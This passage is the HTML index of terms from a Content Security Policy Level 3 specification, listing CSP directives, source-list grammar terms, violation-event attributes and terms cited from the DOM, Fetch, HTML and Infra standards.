class=\"index\">\n   <li><a href=\"#source-list-allows-all-inline-behavior\">allow all inline behavior</a><span>, in §6.6.2.2</span>\n   <li><a href=\"#source-list-allows-all-inline-behavior\">allows all inline behavior</a><span>, in §6.6.2.2</span>\n   <li><a href=\"#grammardef-ancestor-source\">ancestor-source</a><span>, in §6.3.2</span>\n   <li><a href=\"#grammardef-ancestor-source-list\">ancestor-source-list</a><span>, in §6.3.2</span>\n   <li><a href=\"#grammardef-base64-value\">base64-value</a><span>, in §2.3.1</span>\n   <li><a href=\"#base-uri\">base-uri</a><span>, in §6.2.1</span>\n   <li>\n    blockedURI\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-blockeduri\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-blockeduri\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li><a href=\"#child-src\">child-src</a><span>, in §6.1.1</span>\n   <li><a href=\"#violation-column-number\">column number</a><span>, in §2.4</span>\n   <li>\n    columnNumber\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-columnnumber\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-columnnumber\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li><a href=\"#connect-src\">connect-src</a><span>, in §6.1.2</span>\n   <li><a href=\"#contains-a-header-delivered-content-security-policy\">contains a header-delivered Content Security Policy</a><span>, in §2.2</span>\n   <li><a href=\"#header-content-security-policy\">Content-Security-Policy</a><span>, in §3.1</span>\n   <li><a href=\"#content-security-policy\">Content Security Policy</a><span>, in §1</span>\n   <li><a href=\"#content-security-policy-object\">content security policy object</a><span>, in §2.2</span>\n   <li><a href=\"#header-content-security-policy-report-only\">Content-Security-Policy-Report-Only</a><span>, in §3.2</span>\n   <li>\n    CSP list\n    <ul>\n     <li><a href=\"#csp-list\">definition of</a><span>, in §2.2</span>\n     <li><a href=\"#global-object-csp-list\">dfn for global object</a><span>, in §4.2</span>\n    </ul>\n   <li><a href=\"#default-src\">default-src</a><span>, in §6.1.3</span>\n   <li><a href=\"#grammardef-directive-name\">directive-name</a><span>, in §2.3</span>\n   <li><a href=\"#directives\">directives</a><span>, in §2.3</span>\n   <li><a href=\"#policy-directive-set\">directive set</a><span>, in §2.2</span>\n   <li><a href=\"#grammardef-directive-value\">directive-value</a><span>, in §2.3</span>\n   <li><a href=\"#disown-opener\">disown-opener</a><span>, in §6.2.4</span>\n   <li>\n    disposition\n    <ul>\n     <li><a href=\"#policy-disposition\">dfn for policy</a><span>, in §2.2</span>\n     <li><a href=\"#violation-disposition\">dfn for violation</a><span>, in §2.4</span>\n     <li><a href=\"#dom-securitypolicyviolationevent-disposition\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-disposition\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li>\n    documentURI\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-documenturi\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-documenturi\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li>\n    effective directive\n    <ul>\n     <li><a href=\"#violation-effective-directive\">dfn for violation</a><span>, in §2.4</span>\n     <li><a href=\"#request-effective-directive\">dfn for request</a><span>, in §6.6.1.11</span>\n    </ul>\n   <li>\n    effectiveDirective\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-effectivedirective\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-effectivedirective\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li><a href=\"#violation-element\">element</a><span>, in §2.4</span>\n   <li><a href=\"#embedding-document\">embedding document</a><span>, in §4.2</span>\n   <li><a href=\"#dom-securitypolicyviolationeventdisposition-enforce\">enforce</a><span>, in §5.1</span>\n   <li><a href=\"#dom-securitypolicyviolationeventdisposition-enforce\">\"enforce\"</a><span>, in §5.1</span>\n   <li><a href=\"#enforced\">enforced</a><span>, in §4.2</span>\n   <li><a href=\"#can-compile-strings\">EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source)</a><span>, in §4.3</span>\n   <li><a href=\"#fetch-directives\">Fetch directives</a><span>, in §6.1</span>\n   <li><a href=\"#font-src\">font-src</a><span>, in §6.1.4</span>\n   <li><a href=\"#form-action\">form-action</a><span>, in §6.3.1</span>\n   <li><a href=\"#frame-ancestors\">frame-ancestors</a><span>, in §6.3.2</span>\n   <li><a href=\"#frame-src\">frame-src</a><span>, in §6.1.5</span>\n   <li><a href=\"#violation-global-object\">global object</a><span>, in §2.4</span>\n   <li><a href=\"#grammardef-hash-algorithm\">hash-algorithm</a><span>, in §2.3.1</span>\n   <li><a href=\"#grammardef-hash-source\">hash-source</a><span>, in §2.3.1</span>\n   <li><a href=\"#grammardef-host-char\">host-char</a><span>, in §2.3.1</span>\n   <li><a href=\"#grammardef-host-part\">host-part</a><span>, in §2.3.1</span>\n   <li><a href=\"#host-part-match\">host-part match</a><span>, in §6.6.1.8</span>\n   <li><a href=\"#grammardef-host-source\">host-source</a><span>, in §2.3.1</span>\n   <li><a href=\"#img-src\">img-src</a><span>, in §6.1.6</span>\n   <li><a href=\"#directive-initialization\">initialization</a><span>, in §2.3</span>\n   <li><a href=\"#directive-inline-check\">inline check</a><span>, in §2.3</span>\n   <li><a href=\"#grammardef-keyword-source\">keyword-source</a><span>, in §2.3.1</span>\n   <li><a href=\"#violation-line-number\">line number</a><span>, in §2.4</span>\n   <li>\n    lineNumber\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-linenumber\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-linenumber\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li><a href=\"#manifest-src\">manifest-src</a><span>, in §6.1.7</span>\n   <li><a href=\"#media-src\">media-src</a><span>, in §6.1.8</span>\n   <li><a href=\"#grammardef-media-type\">media-type</a><span>, in §6.2.2</span>\n   <li><a href=\"#grammardef-media-type-list\">media-type-list</a><span>, in §6.2.2</span>\n   <li><a href=\"#monitored\">monitored</a><span>, in §4.2</span>\n   <li><a href=\"#directive-name\">name</a><span>, in §2.3</span>\n   <li><a href=\"#directive-navigation-response-check\">navigation response check</a><span>, in §2.3</span>\n   <li><a href=\"#navigation-to\">navigation-to</a><span>, in §6.3.3</span>\n   <li><a href=\"#grammardef-nonce-source\">nonce-source</a><span>, in §2.3.1</span>\n   <li><a href=\"#grammardef-none\">'none'</a><span>, in §2.3.1</span>\n   <li><a href=\"#object-src\">object-src</a><span>, in §6.1.9</span>\n   <li>\n    originalPolicy\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-originalpolicy\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-originalpolicy\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li><a href=\"#abstract-opdef-parse-a-serialized-csp\">parse a serialized CSP</a><span>, in §2.2.1</span>\n   <li><a href=\"#abstract-opdef-parse-a-serialized-csp-list\">parse a serialized CSP list</a><span>, in §2.2.2</span>\n   <li><a href=\"#grammardef-path-part\">path-part</a><span>, in §2.3.1</span>\n   <li><a href=\"#path-part-match\">path-part match</a><span>, in §6.6.1.10</span>\n   <li><a href=\"#plugin-types\">plugin-types</a><span>, in §6.2.2</span>\n   <li><a href=\"#plugin-types-post-request-check\">plugin-types Post-Request Check</a><span>, in §6.2.2</span>\n   <li>\n    policy\n    <ul>\n     <li><a href=\"#content-security-policy-object\">definition of</a><span>, in §2.2</span>\n     <li><a href=\"#violation-policy\">dfn for violation</a><span>, in §2.4</span>\n    </ul>\n   <li><a href=\"#grammardef-port-part\">port-part</a><span>, in §2.3.1</span>\n   <li><a href=\"#port-part-matches\">port-part matches</a><span>, in §6.6.1.9</span>\n   <li><a href=\"#directive-post-request-check\">post-request check</a><span>, in §2.3</span>\n   <li><a href=\"#directive-pre-navigation-check\">pre-navigation check</a><span>, in §2.3</span>\n   <li><a href=\"#directive-pre-request-check\">pre-request check</a><span>, in §2.3</span>\n   <li>\n    referrer\n    <ul>\n     <li><a href=\"#violation-referrer\">dfn for violation</a><span>, in §2.4</span>\n     <li><a href=\"#dom-securitypolicyviolationevent-referrer\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-referrer\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li><a href=\"#dom-securitypolicyviolationeventdisposition-report\">report</a><span>, in §5.1</span>\n   <li><a href=\"#dom-securitypolicyviolationeventdisposition-report\">\"report\"</a><span>, in §5.1</span>\n   <li><a href=\"#grammardef-report-sample\">'report-sample'</a><span>, in §2.3.1</span>\n   <li><a href=\"#report-to\">report-to</a><span>, in §6.4.2</span>\n   <li><a href=\"#report-uri\">report-uri</a><span>, in §6.4.1</span>\n   <li><a href=\"#violation-resource\">resource</a><span>, in §2.4</span>\n   <li><a href=\"#directive-response-check\">response check</a><span>, in §2.3</span>\n   <li>\n    sample\n    <ul>\n     <li><a href=\"#violation-sample\">dfn for violation</a><span>, in §2.4</span>\n     <li><a href=\"#dom-securitypolicyviolationevent-sample\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-sample\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li><a href=\"#sandbox\">sandbox</a><span>, in §6.2.3</span>\n   <li><a href=\"#grammardef-scheme-part\">scheme-part</a><span>, in §2.3.1</span>\n   <li><a href=\"#scheme-part-match\">scheme-part match</a><span>, in §6.6.1.7</span>\n   <li><a href=\"#grammardef-scheme-source\">scheme-source</a><span>, in §2.3.1</span>\n   <li><a href=\"#script-src\">script-src</a><span>, in §6.1.10</span>\n   <li><a href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n   <li><a href=\"#enumdef-securitypolicyviolationeventdisposition\">SecurityPolicyViolationEventDisposition</a><span>, in §5.1</span>\n   <li><a href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n   <li><a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent\">SecurityPolicyViolationEvent(type)</a><span>, in §5.1</span>\n   <li><a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent\">SecurityPolicyViolationEvent(type, eventInitDict)</a><span>, in §5.1</span>\n   <li><a href=\"#grammardef-self\">'self'</a><span>, in §2.3.1</span>\n   <li><a href=\"#serialized-csp\">serialized CSP</a><span>, in §2.2</span>\n   <li><a href=\"#serialized-csp-list\">serialized CSP list</a><span>, in §2.2</span>\n   <li><a href=\"#serialized-directive\">serialized directive</a><span>, in §2.3</span>\n   <li><a href=\"#grammardef-serialized-directive\">serialized-directive</a><span>, in §2.3</span>\n   <li><a href=\"#grammardef-serialized-policy\">serialized-policy</a><span>, in §2.2</span>\n   <li><a href=\"#grammardef-serialized-policy-list\">serialized-policy-list</a><span>, in §2.2</span>\n   <li><a href=\"#serialized-source-list\">serialized source list</a><span>, in §2.3.1</span>\n   <li><a href=\"#grammardef-serialized-source-list\">serialized-source-list</a><span>, in §2.3.1</span>\n   <li><a href=\"#should-plugin-element-be-blocked-a-priori-by-content-security-policy\">Should plugin element be blocked a priori by Content Security Policy?:</a><span>, in §6.2.2.1</span>\n   <li><a href=\"#policy-source\">source</a><span>, in §2.2</span>\n   <li><a href=\"#grammardef-source-expression\">source-expression</a><span>, in §2.3.1</span>\n   <li><a href=\"#source-expression\">source expression</a><span>, in §2.3.1</span>\n   <li><a href=\"#violation-source-file\">source file</a><span>, in §2.4</span>\n   <li>\n    sourceFile\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-sourcefile\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-sourcefile\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li><a href=\"#source-lists\">source lists</a><span>, in §2.3.1</span>\n   <li><a href=\"#violation-status\">status</a><span>, in §2.4</span>\n   <li>\n    statusCode\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-statuscode\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-statuscode\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li><a href=\"#grammardef-strict-dynamic\">'strict-dynamic'</a><span>, in §2.3.1</span>\n   <li><a href=\"#style-src\">style-src</a><span>, in §6.1.11</span>\n   <li><a href=\"#grammardef-unsafe-eval\">'unsafe-eval'</a><span>, in §2.3.1</span>\n   <li><a href=\"#grammardef-unsafe-hashed-attributes\">'unsafe-hashed-attributes'</a><span>, in §2.3.1</span>\n   <li><a href=\"#grammardef-unsafe-inline\">'unsafe-inline'</a><span>, in §2.3.1</span>\n   <li><a href=\"#violation-url\">url</a><span>, in §2.4</span>\n   <li><a href=\"#directive-value\">value</a><span>, in §2.3</span>\n   <li>\n    violatedDirective\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-violateddirective\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-violateddirective\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li><a href=\"#violation\">violation</a><span>, in §2.4</span>\n   <li><a href=\"#violation-report\">violation report</a><span>, in §5</span>\n   <li><a href=\"#worker-src\">worker-src</a><span>, in §6.1.12</span>\n  </ul>\n  <h3 class=\"no-num no-ref heading settled\" id=\"index-defined-elsewhere\"><span class=\"content\">Terms defined by reference</span><a class=\"self-link\" href=\"#index-defined-elsewhere\"></a></h3>\n  <ul class=\"index\">\n   <li>\n    <a data-link-type=\"biblio\">[CSP3]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://www.w3.org/TR/CSP3/#header-content-security-policy\">content-security-policy</a>\n     <li><a href=\"https://www.w3.org/TR/CSP3/#parse-serialized-policy\">parse a serialized csp</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[css-cascade-4]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://www.w3.org/TR/css-cascade-4/#at-ruledef-import\">@import</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[CSSOM]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://www.w3.org/TR/cssom-1/#insert-a-css-rule\">insert a css rule</a>\n     <li><a href=\"https://www.w3.org/TR/cssom-1/#parse-a-css-declaration-block\">parse a css declaration block</a>\n     <li><a href=\"https://www.w3.org/TR/cssom-1/#parse-a-css-rule\">parse a css rule</a>\n     <li><a href=\"https://www.w3.org/TR/cssom-1/#parse-a-group-of-selectors\">parse a group of selectors</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[DOM]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://dom.spec.whatwg.org/#document\">Document</a>\n     <li><a href=\"https://dom.spec.whatwg.org/#element\">Element</a>\n     <li><a href=\"https://dom.spec.whatwg.org/#event\">Event</a>\n     <li><a href=\"https://dom.spec.whatwg.org/#dictdef-eventinit\">EventInit</a>\n     <li><a href=\"https://dom.spec.whatwg.org/#dom-event-bubbles\">bubbles</a>\n     <li><a href=\"https://dom.spec.whatwg.org/#dom-event-composed\">composed</a>\n     <li><a href=\"https://dom.spec.whatwg.org/#connected\">connected</a>\n     <li><a href=\"https://dom.spec.whatwg.org/#concept-event-fire\">fire an event</a>\n     <li><a href=\"https://dom.spec.whatwg.org/#concept-node-document\">node document</a>\n     <li><a href=\"https://dom.spec.whatwg.org/#concept-shadow-including-root\">shadow-including root</a>\n     <li><a href=\"https://dom.spec.whatwg.org/#dom-event-target\">target</a>\n     <li><a href=\"https://dom.spec.whatwg.org/#dom-node-textcontent\">textContent</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[ECMA262]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tc39.github.io/ecma262#sec-function-objects\">Function()</a>\n     <li><a href=\"https://tc39.github.io/ecma262#sec-hostensurecancompilestrings\">HostEnsureCanCompileStrings()</a>\n     <li><a href=\"https://tc39.github.io/ecma262#sec-json.stringify\">JSON.stringify()</a>\n     <li><a href=\"https://tc39.github.io/ecma262#sec-eval-x\">eval()</a>\n     <li><a href=\"https://tc39.github.io/ecma262#realm\">realm</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[FETCH]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-body\">body</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-client\">client</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-credentials-mode\">credentials mode</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-nonce-metadata\">cryptographic nonce metadata</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\">csp list</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-current-url\">current url</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-destination\">destination</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-header-extract-mime-type\">extract a mime type</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#extract-header-list-values\">extracting header list values</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-fetch\">fetch</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-header-list\">header list <small>(for request)</small></a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-response-header-list\">header list <small>(for response)</small></a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-http-fetch\">http fetch</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-http-network-fetch\">http-network fetch</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-initiator\">initiator</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-integrity-metadata\">integrity metadata</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#request-keepalive-flag\">keepalive flag</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#local-scheme\">local scheme</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-main-fetch\">main fetch</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-method\">method</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-mode\">mode</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-network-error\">network error</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#network-scheme\">network scheme</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-origin\">origin</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-parser-metadata\">parser metadata</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-redirect-count\">redirect count</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-redirect-mode\">redirect mode</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#request-destination-script-like\">script-like</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-target-browsing-context\">target browsing context</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-url\">url <small>(for request)</small></a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-response-url\">url <small>(for response)</small></a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-window\">window</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[HTML]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/scripting.html#parser-inserted\">\"parser-inserted\"</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/workers.html#dedicatedworkerglobalscope\">DedicatedWorkerGlobalScope</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/workers.html#sharedworker\">SharedWorker</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/workers.html#sharedworkerglobalscope\">SharedWorkerGlobalScope</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/window-object.html#window\">Window</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/workers.html#worker\">Worker</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/workers.html#workerglobalscope\">WorkerGlobalScope</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/text-level-semantics.html#the-a-element\">a</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/browsers.html#active-document\">active document</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#an-iframe-srcdoc-document\">an iframe srcdoc document</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/obsolete.html#applet\">applet</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/origin.html#ascii-serialisation-of-an-origin\">ascii serialization of an origin</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/window-object.html#concept-document-window\">associated document</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/semantics.html#the-base-element\">base</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/browsers.html#browsing-context\">browsing context</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/infrastructure.html#case-sensitive\">case-sensitive</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/semantics.html#attr-meta-content\">content</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/semantics.html#attr-meta-http-equiv-content-security-policy\">content security policy state</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/dom.html#concept-document-csp-list\">csp list</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/webappapis.html#current-settings-object\">current settings object</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#attr-object-data\">data</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/browsers.html#disowned-its-opener\">disown its opener</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/window-object.html#dom-document-2\">document</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/parsing.html#parse-error-duplicate-attribute\">duplicate-attribute</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element\">embed</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/webappapis.html#event-handler-idl-attributes\">event handler idl attribute</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/urls-and-fetching.html#fallback-base-url\">fallback base url</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/origin.html#forced-sandboxing-flag-set\">forced sandboxing flag set</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/forms.html#the-form-element\">form</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/obsolete.html#frame\">frame</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/webappapis.html#global-object\">global object</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/webappapis.html#concept-realm-global\">global object <small>(for Realm)</small></a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/webappapis.html#concept-settings-object-global\">global object <small>(for environment settings object)</small></a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/semantics.html#attr-base-href\">href</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/semantics.html#attr-meta-http-equiv\">http-equiv</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element\">iframe</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/browsing-the-web.html#initialise-the-document-object\">initializing a new document object</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/semantics.html#the-link-element\">link</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/semantics.html#meta\">meta</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/browsers.html#nested-browsing-context\">nested browsing context</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/browsers.html#browsing-context-nested-through\">nested through</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/urls-and-fetching.html#dom-noncedelement-nonce\">nonce</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element\">object</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/browsers.html#opener-browsing-context\">opener browsing context</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/origin.html#concept-origin\">origin</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/webappapis.html#concept-settings-object-origin\">origin <small>(for environment settings object)</small></a>\n     <li><a href=\"https://html.spec.whatwg.org/#concept-WorkerGlobalScope-owner-set\">owner set</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/browsers.html#parent-browsing-context\">parent browsing context</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/origin.html#parse-a-sandboxing-directive\">parse a sandboxing directive</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/webappapis.html#concept-script-parse-error\">parse error</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/text-level-semantics.html#dom-a-ping\">ping</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/browsing-the-web.html#plugin-document\">plugin document</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/scripting.html#prepare-a-script\">prepare a script</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/browsing-the-web.html#process-a-navigate-fetch\">process a navigate fetch</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/browsing-the-web.html#process-a-navigate-response\">process a navigate response</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/webappapis.html#queue-a-task\">queue a task</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/dom.html#dom-document-referrer\">referrer</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/webappapis.html#concept-relevant-global\">relevant global object</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/webappapis.html#relevant-settings-object\">relevant settings object</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/webappapis.html#responsible-browsing-context\">responsible browsing context</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/workers.html#run-a-worker\">run a worker</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#attr-iframe-sandbox\">sandbox</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/origin.html#sandboxed-origin-browsing-context-flag\">sandboxed origin browsing context flag</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/origin.html#sandboxed-scripts-browsing-context-flag\">sandboxed scripts browsing context flag</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/origin.html#concept-origin-scheme\">scheme</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\">script</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/semantics.html#set-the-frozen-base-url\">set the frozen base url</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#dom-setinterval\">setInterval()</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#dom-settimeout\">setTimeout()</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/semantics.html#the-style-element\">style</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/scripting.html#dom-script-text\">text</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/browsers.html#top-level-browsing-context\">top-level browsing context</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#attr-embed-type\">type</a>\n     <li><a href=\"https://html.spec.whatwg.org/multipage/semantics.html#update-a-style-block\">update a style block</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[INFRA]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://infra.spec.whatwg.org/#list-append\">append <small>(for list)</small></a>\n     <li><a href=\"https://infra.spec.whatwg.org/#set-append\">append <small>(for set)</small></a>\n     <li><a href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\">ascii case-insensitive</a>\n     <li><a href=\"https://infra.spec.whatwg.org/#ascii-string\">ascii string</a>\n     <li><a href=\"https://infra.spec.whatwg.org/#ascii-whitespace\">ascii whitespace</a>\n     <li><a href=\"https://infra.spec.whatwg.org/#collect-a-sequence-of-code-points\">collecting a sequence of code points</a>\n     <li><a href=\"https://infra.spec.whatwg.org/#list-contain\">contain</a>\n     <li><a href=\"https://infra.spec.whatwg.org/#iteration-continue\">continue</a>\n     <li><a href=\"https://infra.spec.whatwg.org/#list-is-empty\">is empty</a>\n     <li><a href=\"https://infra.spec.whatwg.org/#list\">list</a>\n     <li><a href=\"https://infra.spec.whatwg.org/#ordered-set\">ordered set</a>\n     <li><a href=\"https://infra.spec.whatwg.org/#ordered-set\">set</a>\n     <li><a href=\"https://infra.spec.whatwg.org/#split-on-ascii-whitespace\">split a string on ascii whitespace</a>\n     <li><a href=\"https://infra.spec.whatwg.org/#split-on-commas\">split a string on commas</a>\n     <li><a href=\"https://infra.spec.whatwg.org/#strictly-split\">strictly split a string</a>\n     <li><a href=\"https://infra.spec.whatwg.org/#string\">string</a>\n     <li><a 